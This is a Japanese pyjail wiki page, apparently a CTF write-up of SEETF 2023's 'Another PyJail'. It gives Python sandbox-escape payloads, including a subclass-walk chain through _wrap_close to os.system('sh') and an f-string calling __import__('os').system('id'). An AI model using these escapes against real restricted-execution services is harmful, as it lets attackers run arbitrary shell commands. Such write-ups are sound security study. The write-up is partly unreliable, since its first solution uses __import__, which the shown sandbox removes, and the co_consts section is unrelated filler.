pyjail wiki

SEETF 2023 - Another PyJail

Challenge

Python 3.7 環境で、限られた機能のみ使用可能。

# Python 3.7
code = input()
# 多くの組み込み関数が削除された環境
restricted_builtins = {
'print': print,
'str': str,
'int': int,
}
exec(code, {'__builtins__': restricted_builtins})

Solution

f-string による式評価

f-string 内で式を評価:

f"{__import__('os').system('id')}"

co_consts からの情報抽出

code オブジェクトの定数を取得:

(lambda: 0).__code__.co_consts
# (None, 0)

Bootstrap ペイロード

# str から __class__ を取得
''.__class__.__mro__[1].__subclasses__()

完全な攻撃チェーン

# _wrap_close を探す
[c for c in ''.__class__.__mro__[1].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('sh')

Technical Details

Python 3.7 の特徴

  • f-string は Python 3.6 で導入
  • walrus 演算子 (:=) はまだない (3.8+)
  • positional-only parameters はない (3.8+)

code オブジェクトの属性

code = (lambda x: x + 1).__code__
code.co_consts # 定数 (None, 1)
code.co_names # 名前 ()
code.co_varnames # 変数名 ('x',)
code.co_code # バイトコード
code.co_filename # ファイル名

Alternative Solutions

別解1: format 関数の悪用

'{0.__class__}'.format('')

別解2: str のメソッド

str.__subclasses__() # 直接的なサブクラス取得

Flag

SEE{...}

References

  • SEETF 2023 Official
  • PEP 498 (f-strings)